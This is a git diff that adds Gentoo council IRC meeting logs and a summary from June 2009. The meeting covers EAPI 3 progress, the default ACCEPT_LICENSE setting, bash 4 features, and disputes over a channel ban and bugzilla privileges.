+17:03 <@lu_zero> dev-zero that makes me a no if they aren't clarified
+17:03 <@dev-zero> so, glep authors: please update the glep as discussed here
+17:03 <@dev-zero> lu_zero: yes, I understand that
+17:03  * ulm doesn't see a basis to vote about the glep in its current wording
+17:03 <@Betelgeuse> ulm: We are not voting about the GLEP at all
+17:03 <@dev-zero> ulm: it's not about the glep, only about the problems mentioned
+17:03 <@leio> I agree there are things to solve for bullet points 1, 2 and 4, but do not agree with glep55 being the best way to do that.
+17:03 <@dertobi123> ulm: we're not voting about the glep, but the problems described
+17:03 <@dertobi123> i'd like to vote the next meeting on whether to approve on of the mentioned solutions
+17:03 <@dertobi123> and only to vote.
+17:03 <@dev-zero> leio: ok, that's the only thing we wanted to know :)
+17:04 <@dertobi123> otherwise this will become a neverending story ...
+17:04 <@dev-zero> dertobi123: but this discussion was probably one of the most productive ones we had about it
+17:04 <@leio> I am heavily against voting on stuff that is not clear only to "get it under the carpet"
+17:04 < Calchan> I'd like everybody to note that there seemed to have been an informal consensus on the third solution in the list of three that peper proposed in http://archives.gentoo.org/gentoo-dev/msg_959451961983a52129e3f41cd87eac0e.xml
+17:04 -!- Thargor [n=quassel@unaffiliated/thargor] has joined #gentoo-council
+17:05 <@dertobi123> leio: there are again 14 days to get those things sorted
+17:05 < NeddySeagoon> ciaranm, if the council pick an in ebuild solution, how much work do you have to redo ?
+17:05 <@ulm> Calchan: that would be "Easily fetchable EAPI inside the ebuild"?
+17:05 < ciaranm> NeddySeagoon: we can implement anything we want in paludis. it's not portage, you know :P
+17:06 <@dertobi123> ulm: plus extention change, "easily fetchable eapi inside the ebuild" wasn't mentioned in peper's mail
+17:06 < NeddySeagoon> dev-zero, thats good design, break the problem into small pieces and address each piece.  Recursively as needed
+17:06 < Calchan> ulm, yes with for example a .eb extension and eapi in she-bang
+17:06 <@dertobi123> and that's another thing i dislike
+17:06 <@dertobi123> extension* even
+17:06 <@dev-zero> ok, I think that topic is over for today
+17:06 < NeddySeagoon> ciaranm, I was thinking wasted effort
+17:06 < peper> dertobi123: hmm?
+17:06 < ciaranm> NeddySeagoon: eh, exherbo's using it anyway
+17:06 <@dev-zero> reserve solutions to the problems for the next 14 days and the next meeting, please :)
+17:07 < peper> dertobi123: it wasn't cause I hate it. you are free to like it :)
+17:07 < NeddySeagoon> ciaranm, I think you went with eapi in filename ?
+17:07 <@Betelgeuse> coding and changin wording is nothing compared to what people seem to be using for mailing on lists
+17:07 <@dev-zero> is someone on the run or can we peek into the next topic?
+17:07 <@dertobi123> peper: if the glep mentiones 4 solutions i'd expect to put all of them up for discussion on the ml and not to hide a solution you personally dislike.
+17:07 < ciaranm> NeddySeagoon: oh, you mean, you want someone to code in-ebuild-eapi support? can do that, if the council decides it doesn't want to take the best solution
+17:07 < peper> dertobi123: err, the list was labeled: "Just FYI, my order of preference of solutions is:"
+17:07  * dertobi123 needs to go to bed somewhat soonish
+17:08 < fmccor> dertobi123, It's in GLEP55 (alternative 3 or idea 4, depending on where you start counting)
+17:08 < peper> i listed 2. and 3. just to show I can live with them
+17:08 <@dertobi123> fmccor: sure
+17:08 < NeddySeagoon> ciaranm, the objective evidence for 'best solution' is still missing
+17:08 <@dev-zero> ok, the next topic:
+17:08 <@Betelgeuse> dev-zero: I need to finish a task for tomorrow.
+17:08 <@Betelgeuse> dev-zero: I will glance every once in a while
+17:08 <@dev-zero> Betelgeuse: fine by me
+17:09 <@Cardoe> dev-zero: we're over time.. have we decided to extend?
+17:09 <@dev-zero> ok, next topic (just to get an idea).
+17:09 < ciaranm> NeddySeagoon: objectively, you have to either not change version format rules ever, or force the package manager to open() every ebuild rather than no ebuilds before it can find the best version of something
+17:09 < peper> NeddySeagoon: re: your editorial time, I would appreciate it and welcome patches
+17:09 <@dev-zero> Cardoe: I asked, see above
+17:09 <@dertobi123> we did agree on a one-hour meeting and i don't think the next topic is that important to extend the meeting
+17:09 <@leio> ciaranm: incorrect, but this is not the place to discuss right now indeed.
+17:09 < NeddySeagoon> peper, I can't start until Wednesday ... but ok
+17:09  * antarus chuckles
+17:09 <@dev-zero> dertobi123: then please say just "no" the next time I ask :)
+17:10 <@dev-zero> ok then, meeting is over
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090611-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090611-summary.txt
new file mode 100644
index 00000000..3263fab1
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090611-summary.txt
@@ -0,0 +1,77 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dertobi123: here 
+dev-zero: here
+leio: here
+lu_zero: here
+tanderson(secretary): here
+ulm: here
+
+Topics:
+===========
+
+     - Short discussion of EAPI 3 progress.
+        Zac Medico(zmedico) commented that while no progress had been made, a
+        tracker bug had been made[1] for those interested in providing patches
+        for and tracking the progress of the EAPI 3 implementation. Ciaran
+        McCreesh noted that paludis is ready for EAPI 3 whenever the portage
+        implementation is finished.
+
+    - Default contents of ACCEPT_LICENSE(license filtering).
+        GLEP23[2] provided a method for users to select what licenses they are
+        willing to accept based on a ACCEPT_LICENSE configuration variable. In
+        addition it provided for 'license groups' so users could accept or
+        decline to use software of a certain license type. What GLEP 23 did not
+        specify was the default value of ACCEPT_LICENSE.
+
+        Conclusion:
+            The council unanimously voted to have the default ACCEPT_LICENSE
+            value as ACCEPT_LICENSE="* -@EULA".
+
+    - BASH 4 in EAPI 3.
+        There were three parts to this topic:
+            1) Unlocking of feature requests for EAPI 3.
+            2) Allowing BASH 4 features in EAPI 3 ebuilds.
+            3) Allowing BASH 4 features in all ebuilds with EAPIs >= 3 after a 
+               fixed amount of time in gentoo-x86(Overlays could begin use
+               immediately).
+
+        Conclusion:
+            By a 4-3 decision the council voted not to open the feature list for
+            EAPI 3.
+
+    - The banning of igli(Steve Long) from #gentoo-council.
+        Tiziano Muller(dev-zero) banned igli from #-council for what he called
+        repeated trolling after private warnings. The ban was later reversed by
+        Doug Goldstein(Cardoe) because it had not been put to a council vote as
+        all bans in #-council are.
+
+        Conclusion:
+            No decision yet, the council decided to discuss this issue privately
+            on the council@ alias so that precious meeting time is not spent.
+
+    - Define EAPI development/deployment cycles.
+        Various Council members expressed support for Ciaran McCreesh's EAPI
+        development guidelines as outlined in [3]. However, the discussion
+        reached no conclusion and quickly spiraled into a discussion of the
+        removal of Ciaran McCreesh's bugzilla privileges.
+
+    - Removal of Ciaran McCreesh's(ciaranm) bugzilla permissions.
+        At some point in the last year ciaranm's bugzilla permissions were
+        removed. He filed a bug about the issue(#273759) and was talking about
+        moving PMS off of Gentoo Infrastructure, a move that some council
+        members were strongly opposed to. When asked about the permissions,
+        Ciaran had no objections to waiting a few days for the infra to complete
+        an investigation into who removed the access and for what reason.
+
+        Conclusion:
+            The council voted to reinstate Ciaran's editbugs privileges. Ned
+            Ludd (solar) noted that infra will investigate who removed the privileges
+            in the first place, and asked for not changing bugzilla privileges before
+            this is completed.
+
+[1]: https://bugs.gentoo.org/show_bug.cgi?id=273620
+[2]: http://www.gentoo.org/proj/en/glep/glep-0023.html
+[3]: http://archives.gentoo.org/gentoo-dev/msg_d3a4758c455fded00608e891f525d3cc.xml
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090611.txt b/xml/htdocs/proj/en/council/meeting-logs/20090611.txt
new file mode 100644
index 00000000..9946cd87
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090611.txt
@@ -0,0 +1,860 @@
+--- Log opened Thu Jun 11 00:00:30 2009
+01:47 -!- mode/#gentoo-council [+b %igli!*@*] by dev-zero
+01:48 <@dev-zero> I'm definetely fed up with his repeated trolling
+02:04 <@dev-zero> ... and since I told him to control his temper I think it's justified
+03:31 -!- ulm [n=ulm@gentoo/developer/ulm] has joined #gentoo-council
+03:31 -!- mode/#gentoo-council [+o ulm] by ChanServ
+04:11 -!- alexxy [n=alexxy@gentoo/developer/alexxy] has quit [Read error: 104 (Connection reset by peer)]
+04:12 -!- alexxy [n=alexxy@gentoo/developer/alexxy] has joined #gentoo-council
+04:45 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has joined #gentoo-council
+07:13 -!- touparx [n=toupar@125.220.139.49] has joined #gentoo-council
+07:21 < Polynomial-C> I need more popcorn for all those barren discussion held in here... (*sigh*)
+07:22 < Naib> Polynomial-C: iirc Sput has some shares in a big popcorn company, he should be asking for higher yield soon
+07:23 < Sput> meh, I already lease most of Iowa, don't tell me I need to invest in Kansas too :/
+07:23 < Polynomial-C> Sput, any plans to expand to Europe? :)
+07:24 < Sput> meh, we don't grow that much corn :)
+08:10 -!- jlec [n=abraxxas@ibi199.ibi.kfa-juelich.de] has joined #gentoo-council
+08:46 -!- yngwin [n=yngwin@gentoo/developer/yngwin] has joined #gentoo-council
+08:47 -!- yngwin__ [n=yngwin@gentoo/developer/yngwin] has quit [Read error: 60 (Operation timed out)]
+09:03 -!- The_Paya [n=the_paya@gentoo/developer/thepaya] has quit [Client Quit]
+09:12 -!- touparx [n=toupar@125.220.139.49] has quit [Client Quit]
+09:13 -!- Thargor [n=quassel@unaffiliated/thargor] has joined #gentoo-council
+09:14 -!- The_Paya [n=the_paya@201-212-72-125.cab.prima.net.ar] has joined #gentoo-council
+09:18 -!- touparx [n=toupar@125.220.139.49] has joined #gentoo-council
+09:21 -!- Cardoe [n=Cardoe@gentoo/developer/Cardoe] has joined #gentoo-council
+09:21 -!- mode/#gentoo-council [+o Cardoe] by ChanServ
+09:26 -!- The_Paya [n=the_paya@gentoo/developer/thepaya] has quit [Client Quit]
+09:26 -!- The_Paya [n=the_paya@190.51.250.242] has joined #gentoo-council
+09:32 < fmccor> tanderson, ping when you have a moment.
+09:41 <+tanderson> fmccor: I sort of do now
+09:41 <+tanderson> Sort of in and out
+09:45 < fmccor> tanderson, may I query?
+09:45 <+tanderson> yes
+09:50 -!- spatz [n=spatz@unaffiliated/spatz] has joined #gentoo-council
+--- Log closed Thu Jun 11 10:24:21 2009
+--- Log opened Thu Jun 11 10:27:36 2009
+10:27 -!- gentoofan23_ [n=gentoofa@gentoo/developer/gentoofan23] has joined #gentoo-council
+10:27 -!- Irssi: #gentoo-council: Total of 66 nicks [8 ops, 0 halfops, 1 voices, 57 normal]
+10:27 -!- mode/#gentoo-council [+v gentoofan23_] by ChanServ
+10:28 -!- tanderson [n=gentoofa@gentoo/developer/gentoofan23] has quit [Nick collision from services.]
+10:28 -!- You're now known as tanderson
+10:30 -!- Irssi: Join to #gentoo-council was synced in 182 secs
+10:47 -!- jlec [n=abraxxas@ibi199.ibi.kfa-juelich.de] has left #gentoo-council []
+11:38 -!- Thargor [n=quassel@unaffiliated/thargor] has quit [Read error: 113 (No route to host)]
+11:46 -!- Thargor [n=quassel@unaffiliated/thargor] has joined #gentoo-council
+11:46 -!- You're now known as nop
+11:47 -!- You're now known as tanderson
+11:53 -!- togge|laptop [n=togge@212.247.117.70] has joined #gentoo-council
+12:02 -!- togge [n=togge@gentoo/contributor/togge] has quit [Read error: 113 (No route to host)]
+12:05 -!- musikc [n=musikc@gentoo/developer/musikc] has joined #gentoo-council
+12:05 < trelane> Cardoe: identify why they're quitting and solve that problem.
+12:06 < trelane> tanderson: regarding your note on quoting the council, I will ensure that I quote from the actual council logs in the future.  Please note there was no intent to deceive there, or reword a council vote, merely I chose to use the summary rather than an extensive log, only part of which was essential to my point.
+12:07 < musikc> ping dev-zero
+12:07 <@Cardoe> trelane: too much time spent babysitting and being forced to read everyone's opinion of every damn thing even though there really should only be a select few that have a say
+12:07 <@Cardoe> they present it
+12:07 <@Cardoe> filter what's worth hearing
+12:07 <@Cardoe> and be done
+12:08 < trelane> Cardoe: well, lets fix that problem then.
+12:08 < trelane> fixing that sort of, and I cannot overstate how massive it is based on my own experience would do much to make this council, and the next council's life easier
+12:09  * trelane figures the word problem should have been included up there someplace (insert it as you see fit)
+12:09 <@Cardoe> unfortunately some people don't want to fix it
+12:09 < trelane> Cardoe: I'm having the same experience from a Funtoo perspective. The problem persons for me (and probably for you as well) are not even gentoo developers.
+12:09 <@Cardoe> and as such the rest of us are punished
+12:09 < bonsaikitten> so fix them. with two bricks.
+12:10 <@Cardoe> so I will not be running and instead will write code instead of babysit
+12:10 < trelane> I understand your frustration, however I have heard nearly the same complaint verbatim from one of the original council members as to the reason why he quit.
+12:10 <@Cardoe> trelane: bonsaikitten: feel free to say ciaranm is the problem. however, you guys are probably a bit biased and I will gladly say ciaranm is not the problem.
+12:11 -!- jlec [n=jlec@ip-62-143-31-170.unitymediagroup.de] has joined #gentoo-council
+12:12 < trelane> It's not just Ciaran.  When I sent my thoughts on the paludis problem to -dev, I mentioned that there were quite a few problems, but that it seemed they centered around Paludis and Exherbo personalities
+12:12 < trelane> I absolutely think Ciaran needs to go, and nothing above should be read otherwise.
+12:12 <@Cardoe> While he doesn't help the problem and does tend to fan the flames (i.e. a thread goes from 10 posts to 60 posts cause every starts arguing)
+12:12 <@Cardoe> But there's other people that are the problem
+12:12 < trelane> the problem is the arguments have become religious
+12:12 <@Cardoe> The people unqualified to put their two cents in
+12:13 < trelane> I agree, but I have to note that Ciaran is a magnet for such things.
+12:14 < trelane> the eventual solution is to remove one side of the argument, and the board has already in part done this
+12:14 <+tanderson> trelane: I know, just making sure you understand that the summaries are *quite* simplified
+12:15 <+tanderson> I didn't view you as twisting the summary ;)
+12:15 < trelane> tanderson: thanks, I will absolutely bear that in mind in the future and make sure I cite any specific clarifying statements from the council :)
+12:15 < trelane> tanderson: I didn't think you did, but as we're in a text medium I wanted to make sure that you were aware that no malice was intended.
+12:15 <+tanderson> yup
+12:15 -!- mode/#gentoo-council [-b %igli!*@*] by Cardoe
+12:16 <@Cardoe> dev-zero: we've in the past decided that any bans need to be brought up to the other council members and e-mailed out the the council@gentoo.org alias
+12:16 <@Cardoe> dev-zero: since you didn't do so, I am removing the ban until you discuss it with the rest of us
+12:18 <@dev-zero> Cardoe: hey, you don't really think that going through all meeting summaries is a way to document things, do you?
+12:19 <@dev-zero> musikc: pong?
+12:19 <+tanderson> Cardoe: does it look like you'll be here for the meeting?
+12:19 < musikc> dev-zero, i apologize, i need to get something completed at RL work. i shall return in a bit
+12:19 <@dev-zero> musikc: no problem
+12:22  * tanderson -> softball, back before the council meeting hopefully
+12:24 -!- You're now known as tanderson|na
+12:25 <@Cardoe> dev-zero: ?
+12:26 <@dev-zero> Cardoe: sorry, I didn't find any reference to such a rule
+12:27 <@Cardoe> dev-zero: it's how it's always been done.
+12:27 <@Cardoe> dev-zero: since we decide everything as a group
+12:27 <@Cardoe> dev-zero: never has there been a decision on anything council "owned" by just one council member
+12:27 < Philantrop> Cardoe: Was that done when I was banned from here?
+12:28 <@Cardoe> Philantrop: yes it was
+12:28 < Philantrop> Cardoe: Ah, ok, thanks.
+12:28 <@Cardoe> Philantrop: I believe the vote was 4-3
+12:28 <@Cardoe> Philantrop: I can look it up if you'd like
+12:28 < Philantrop> Cardoe: Doesn't really matter but thanks.
+12:29 <@dev-zero> Cardoe: is it documented in a meeting summary?
+12:29 < mama> that's about that supposedly nazi response to a nazi blogpost ban?
+12:30 -!- touparx [n=toupar@125.220.139.49] has quit [Client Quit]
+12:30 <@Cardoe> dev-zero: It's documented in the council rules
+12:30 <@Cardoe> The ones that say we decide by a vote
+12:30 < Philantrop> mama: No.
+12:31 <@dev-zero> Cardoe: ah, ok
+12:31 < mama> I still haven't seen that one discussed and voted.
+12:31 <@dev-zero> Cardoe: another issue, btw, did you read my comment to your meeting organization proposal?
+12:33 <@Cardoe> dev-zero: on the ML or where?
+12:33 <@Cardoe> dev-zero: wrt to igli. bring it to vote and we can make it happen.
+12:34 <@Cardoe> dev-zero: however, I think if we +m, it'll be a non-issue
+12:36  * Calchan agrees
+12:38 -!- Thargor [n=quassel@unaffiliated/thargor] has quit [Remote closed the connection]
+12:44 -!- hwoarang_ [n=eternity@adsl136-183.kln.forthnet.gr] has joined #gentoo-council
+12:52 < dleverton> trelane: what you're suggesting is a lot like trying to get rid of racism by banishing all the non-white people
+12:54 -!- zmedico [n=zmedico@gentoo/developer/zmedico] has quit [Remote closed the connection]
+12:57 -!- hwoarang [n=eternity@gentoo/developer/hwoarang] has quit [Read error: 110 (Connection timed out)]
+12:57 -!- spatz [n=spatz@unaffiliated/spatz] has quit [Remote closed the connection]
+12:58 <@dev-zero> Cardoe: well, that's fine by me
+12:58 <@dev-zero> Cardoe: yes, on the ml
+12:59 -!- hwoarang_ is now known as hwoarang
+13:04 -!- spatz [n=spatz@unaffiliated/spatz] has joined #gentoo-council
+13:26 -!- Thargor [n=quassel@unaffiliated/thargor] has joined #gentoo-council
+13:57 -!- zmedico [n=zmedico@gentoo/developer/zmedico] has joined #gentoo-council
+14:17 < yngwin> dleverton: no, it's about improving the signal-to-noise ratio by removing the greatest source of noise
+14:17 < ciaranm> greatest source of noise? bonsaikitten?
+14:18 < yngwin> no, you
+14:18 < ciaranm> yes, because i produce noise. pms. devmanual. eselect. just noise.
+14:19 < scarabeus> please not here
+14:20 <@dev-zero> jup
+14:20 < ciaranm> i'm sorry, i find yngwin's implications extremely offensive
+14:20  * yngwin is already finished feeding the trolls :)
+14:21 <@dev-zero> ciaranm: agreed, yes
+14:21 < ciaranm> i don't give a crap whether you like me... but suggesting that nothing useful comes from either me or the people certain trolls like to think is my cabal is going a bit far...
+14:21 <@dev-zero> yngwin: the problem is that many problems in eapi seem to be easy at first glance but they aren't
+14:22 < yngwin> i didnt say that
+14:23 <@dev-zero> trelane: the problem of being a council member is that no matter what you do, some people will hate you afterwards
+14:24 < dleverton> yngwin: trelane agreed with Cardoe when he said "But there's other people that are the problem", and still claimed that Ciaran should be punished for it
+14:24 <@dev-zero> trelane: it's not a general problem of the council that is, but being some kind of lead of something in general
+14:31 -!- graaff [n=graaff@gentoo/developer/graaff] has joined #gentoo-council
+14:31 <@dev-zero> trelane: but since Gentoo is for nearly everyone a fun project and there are only less masochists around, well, then people leave
+14:43 <@Cardoe> what'd I do?
+14:56 -!- reavertm [n=reavertm@gentoo/contributor/reavertm] has joined #gentoo-council
+14:56 <@lu_zero> hi
+15:14 -!- bearsh [n=quassel@80-219-1-239.dclient.hispeed.ch] has joined #gentoo-council
+15:18 <@dev-zero> Cardoe: was that for me? :)
+15:18 <@Cardoe> no
+15:21 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+15:23 -!- alexxy [n=alexxy@gentoo/developer/alexxy] has quit [Remote closed the connection]
+15:26 -!- alexxy [n=alexxy@gentoo/developer/alexxy] has joined #gentoo-council
+15:36  * NeddySeagoon puts his copy of glep 55 on a chair at the back and goes to the shop for beer
+15:38  * fmccor wonders if NeddySeagoon is treating everyone.
+15:39 <@dev-zero> zmedico: around?
+15:39 < zmedico> yeah
+15:39 <@dev-zero> zmedico: did you have time to work on eapi-3 features?
+15:40 < zmedico> not yet, but I've got thistracker bug to track progress: https://bugs.gentoo.org/show_bug.cgi?id=273620
+15:41 < zmedico> hopefully I'll get to working on it pretty quickly
+15:41 < zmedico> I
+15:41 < zmedico> I'd like to :)
+15:43 <@dev-zero> zmedico: ah, neat, thanks
+15:43 -!- Thargor [n=quassel@unaffiliated/thargor] has quit [Read error: 113 (No route to host)]
+15:43 < zmedico> you're welcome
+15:43 <@lu_zero> ^^
+15:55 <@Cardoe> zmedico: how's it coming?
+15:55 < NeddySeagoon> fmccor, I can't carry that much beer and I'm walking
+15:56 < zmedico> Cardoe: haven't really started yet but it shouldn't be long once I get rolling
+15:57 < zmedico> having that tracker bug, maybe some people will pitch in and help :)
+15:58 <@lu_zero> fine
+15:58 < zmedico> that guy who filed those bugs has been really helpful
+15:58 <@Cardoe> zmedico: cool
+15:59 < fmccor> :(
+16:00 <@lu_zero> fmccor ?
+16:00 <@dertobi123> heya
+16:00 <@lu_zero> hi dertobi123
+16:00 < fmccor> lu_zero, In response to NeddySeagoon
+16:00 <@dertobi123> hi luca :)
+16:00 <@Betelgeuse> here
+16:00 <+tanderson|na> Cardoe: you're going to be here?
+16:01 <@dev-zero> ready?
+16:01 <+tanderson|na> I'm here
+16:02 -!- ABCD [n=ABCD@wikipedia/ABCD] has joined #gentoo-council
+16:02 <@dev-zero> good
+16:02 -!- Irssi: Topic: -: Next Meeting: June 11 20:00 UTC
+16:02 -!- Irssi: Topic: +: Meeting started
+16:02 -!- dev-zero changed the topic of #gentoo-council to: Meeting started || Agenda is here: http://dev.gentoo.org/~dev-zero/council/meeting-agenda-20090611.txt
+16:02 <@dertobi123> ulm: around?
+16:02 <@ulm> yep
+16:02 <@dertobi123> aye
+16:02 <@dev-zero> roll call please
+16:02 <@dev-zero> here
+16:02  * lu_zero is here as well
+16:02 <@leio> here
+16:02 <@ulm> still here :)
+16:02 <@dertobi123> <-
+16:02 <@Cardoe> tanderson|na: yeah I'm here.
+16:02 -!- mode/#gentoo-council [+m] by Cardoe
+16:03 <+tanderson|na> Cardoe: k, now I can just idly watch what's going on :P
+16:03 -!- You're now known as tanderson
+16:03 <@Cardoe> We're all here.
+16:03 <@dev-zero> and I assume Betelgeuse is still here
+16:03 <@Cardoe> dev-zero: you made the agenda.. call the first item.
+16:03 <@dev-zero> good, let's start
+16:04 <@dev-zero> EAPI-3 progress
+16:04 <@Betelgeuse> \o/
+16:04 <@dev-zero> there's no progress so far
+16:04 -!- mode/#gentoo-council [+v zmedico] by Cardoe
+16:04 -!- mode/#gentoo-council [+v ciaranm] by Cardoe
+16:04 <@dev-zero> but Zac provided a tracker bug
+16:04 <@dev-zero> https://bugs.gentoo.org/show_bug.cgi?id=273620
+16:04 <@Cardoe> any pkgcore people send me a query
+16:04 <@dev-zero> progress in portage, that is
+16:05 -!- milobit [n=milobit@barbossa.ns-linux.org] has joined #gentoo-council
+16:05 <@dev-zero> Cardoe: I don't think we agreed on moderation, but it's ok
+16:05 <+ciaranm> paludis is good to go whenever
+16:05 <@dev-zero> ciaranm: so, next release will contain eapi-3 support?
+16:06 <@dev-zero> ciaranm: or are you waiting on portage's implementation of certain things to be compatible?
+16:06 <+ciaranm> dev-zero: i'm not putting a release out with eapi 3 stuff enabled until portage is done
+16:06 <@Betelgeuse> well you can't claim eapi-3 support before it's approved
+16:06 <+tanderson> Weren't we going to wait until portage was done to see if portage would get everything?
+16:06 <@Betelgeuse> doubtful we will do that without Portage support but could of course
+16:06 <+tanderson> "pending portage support in time" was the phrase iirc
+16:07 <+ciaranm> we have eapi 3 support enabled but we've marked the eapi config file for 3 as noinst, so it'll be used for test cases etc but not actually be installed
+16:07 <@Cardoe> dev-zero: we had 3 in favor and 2 against. 2 people never commented
+16:07 <@Cardoe> dev-zero: oops. sorry 3 vs 3
+16:08 <@Cardoe> 1 person never commented
+16:08 <@Cardoe> leio
+16:08 -!- maekke [n=maekke@gentoo/developer/maekke] has joined #gentoo-council
+16:08 <@leio> Maybe it should have been discussed in gentoo-council to keep up during my temporary busier times. I am from the camp to moderate when necessary only
+16:09 <@Cardoe> leio: it was discussed on gentoo-council, gentoo-dev and I e-mailed it to the council members individually
+16:09 -!- mode/#gentoo-council [-m] by Cardoe
+16:09 <@dertobi123> zmedico: so we can expect some progress within the next 2 weeks (for next meeting)? how's your recruit doing?
+16:09 <@Cardoe> Well then.. moderation loses.. 4 to 3
+16:09 <@Cardoe> Ok. Well we've covered EAPI-3..
+16:10 <@Cardoe> Default ACCEPT_LICENSE is the next item on the list.
+16:10 <@dev-zero> Cardoe: just a second, please
+16:10 <@dev-zero> Cardoe: there's a minor issue concerning implementation of eapi-3
+16:10 <@Betelgeuse> Cardoe: I don't remember seeing any individual mails?
+16:10 <@dev-zero> which needs coordination of the pm devs
+16:11 <@Cardoe> Betelgeuse: it was sent to the council@gentoo.org alias which e-mails each of you guys individually.
+16:11 <@leio> for me council alias is much better than individual, ftr
+16:11 <@dev-zero> namely the vdb entry for the slot-dep-operators
+16:11 <+ciaranm> zmedico: since you're around... what dev-zero is talking about is the implementation of := deps. did you see the stuff about how to implement that for saving to vdb?
+16:11 <+zmedico> dertobi123: yeah, I expect to get started on it myself and make some significant progress before the next meeting. not sure about recruits but we'll see.
+16:11 <+ciaranm> zmedico: rewriting foo/bar:= to foo/bar:=1 at install time, that is
+16:11 <@dertobi123> zmedico: great :)
+16:12 <@Cardoe> dev-zero: you said it yourself. Its something for the pm devs to discuss
+16:12 <@Cardoe> Not the council
+16:12 <@Cardoe> moving on folks
+16:12 <@dev-zero> Cardoe: it's something we have to coordinate
+16:12 <@Cardoe> dev-zero: We're technical people. Not baby sitters to watch people talk.
+16:12 <@dev-zero> Cardoe: make them aware of it is sufficient, yes
+16:13 <@Cardoe> They're aware. And they're talking.
+16:13 <@Cardoe> Moving on
+16:13 <@dev-zero> good, next point
+16:13 <+zmedico> ciaranm: I had just assumed that it would collapse to a normal slot dep bug the :=slot seems good
+16:13 -!- igli [n=igli@fu/coder/igli] has joined #gentoo-council
+16:13 <@dev-zero> ACCEPT_LICENSE
+16:13 <@Cardoe> dev-zero: please include the proposed the default in the chat log
+16:14 <@dev-zero> then I need a sec to dig it out
+16:14 <@leio> * -@EULA
+16:14 <@dev-zero> jup
+16:14 <@dev-zero> that was it
+16:14 -!- graaff [n=graaff@gentoo/developer/graaff] has quit ["Leaving"]
+16:15 <@dev-zero> does someone not want that to be the default?
+16:15 <@leio> zmedico: that will work as far as portage is concerned, right?
+16:15 -!- WilliamH [n=william@gentoo/developer/williamh] has joined #gentoo-council
+16:15 <@ulm> dev-zero: i'm a bit sceptical about the -EULA part
+16:15 <+zmedico> leio: yeah, it's a new EAPI and so we can change syntax as necessary
+16:15 <@lu_zero> ulm why?
+16:15 -!- The_Paya [n=the_paya@gentoo/developer/thepaya] has quit [Read error: 110 (Connection timed out)]
+16:16 <@leio> zmedico: it's what?...
+16:16 -!- Arfrever [n=Arfrever@gentoo/developer/arfrever] has joined #gentoo-council
+16:16 <+zmedico> leio: oh, * -@EULA
+16:16 <+zmedico> that seems fine
+16:16 <@ulm> lu_zero: eulas are not legally binding in most countries, so it's sort of pointless to exclude these packages
+16:16 <@ulm> but IANAL
+16:16 <+zmedico> leio: just have to make sure the @EULA group is populated
+16:17 <@dev-zero> ulm: true, but I'd rather be on the safe side
+16:17 <@leio> ok, then I have nothing against it, as long as users can have ACCEPT_LICENSES="*" in their make.conf and have everything accepted
+16:17 <@Betelgeuse> ulm: Better to be aware that it's bad upstream stuff.
+16:17 <+zmedico> leio: yeah, seems good
+16:17 <@lu_zero> we could leave a commented line with * -@EULA
+16:17 <@dev-zero> ulm: and as pointed out by some it's questionable how that end-user in EULA should work in the *nix world anyway
+16:17 -!- candybar [n=foo@unaffiliated/candybar] has joined #gentoo-council
+16:18 <@ulm> dev-zero: i don't have a very strong opinion on it
+16:18 <@dev-zero> lu_zero: I'd not do that, it's then rather taken as an example
+16:19 <@lu_zero> both should fit for me
+16:19 <@dev-zero> ok then
+16:20 <@dev-zero> decision is then: have ACCEPT_LICENSES="* -@EULA"
+16:20 <@dev-zero> is that correct?
+16:20 <@leio> yes
+16:20 <@lu_zero> yup
+16:20 <@dertobi123> yep
+16:20 <@dev-zero> yes
+16:20 <@ulm> yes
+16:20 <@dev-zero> ok, next item
+16:20 <@dev-zero> Bash-4 in EAPI-3
+16:21 <@dev-zero> some already commented it
+16:21 <@dertobi123> simply put no for the reasons stated by several people on -dev
+16:21 <@dev-zero> I'd second that
+16:21  * lu_zero is against that as well
+16:21 <+tanderson> dertobi123: would you state them here for completeness? :)
+16:22 <@dertobi123> "I'm against re-opening the feature list for EAPI-3, let's get EAPI-3
+16:22 <@dertobi123> finally implemented and put this on the agenda for EAPI-4. I don't see
+16:22 <@dertobi123> the pressure to allow bash-4.0 stuff now."
+16:22 <@Cardoe> I was already in favor of ACCEPT_LICENSES="* -@EULA" for the record.
+16:22 <+tanderson> dertobi123: thanks
+16:22 <@Cardoe> I'm against bash-4 in EAPI-3 as well
+16:22 <@dev-zero> tanderson: for me it's basically the same reason
+16:22 <@Betelgeuse> I am against bash-4.
+16:22 <@leio> I'm in favour or re-opening feature list, I'm against bash-4 in EAPI-3
+16:23 <@ulm> ^^ same for me
+16:23 <@ulm> re-open for zero-cost features
+16:23 <@dev-zero> good, since the question was about bash-4 in eapi-3 and re-opening the feature list a requirement I think we have decision
+16:24 <@Betelgeuse> Re-open only for features with PMS text and Portage patches submitted.
+16:24 <+ciaranm> and this is where decisions go to die
+16:24 <@Betelgeuse> But I still don't see the much reason to do that. There's no reason that EAPI 4 will have to take ages.
+16:24 <@ulm> Betelgeuse: or already implemented in portage ;)
+16:25  * dertobi123 sighs ... not once again, please
+16:25 <@dev-zero> ok, next item
+16:25 <@leio> anyway, the official request from the council to put on agenda list back in june 1st was
+16:25 <@leio> Please vote on:
+16:25 <@leio> * Temporary unlocking of list of features of EAPI="3"
+16:25 <@leio> * Allowing bash-4.0 features in EAPI="3" ebuilds
+16:25 <@leio> * Temporary disallowing of adding bash-4.0 features to ebuilds in
+16:25 <@leio>   gentoo-x86 repository until ${TIME:-1 month} has passed since
+16:25 <@leio>   stabilization of =app-shells/bash-4.0* on all architectures.
+16:26 <@ulm> leio: these are three separate points?
+16:26 <@Betelgeuse> I unloacking, no IN EAPI 3, no bash-4.0 in tree at all before council approval.
+16:26 <@Betelgeuse> s/I/No/
+16:26 <@Cardoe> I'm opened to re-opening EAPI-3 as long as all requests for additions contain documentation patches and Portage patches. Otherwise, no.
+16:26 < Arfrever> Maybe minimal supported version of bash shouldn't at all be specified in PMS?
+16:26 <@lu_zero> I second Betelgeuse
+16:27 <@dev-zero> I'm against reopening and therefore no bash-4 in eapi-3 and therefore no bash-4 in the tree
+16:27 <@Betelgeuse> Arfrever: PMS specifies what ebuilds can expect from the env.
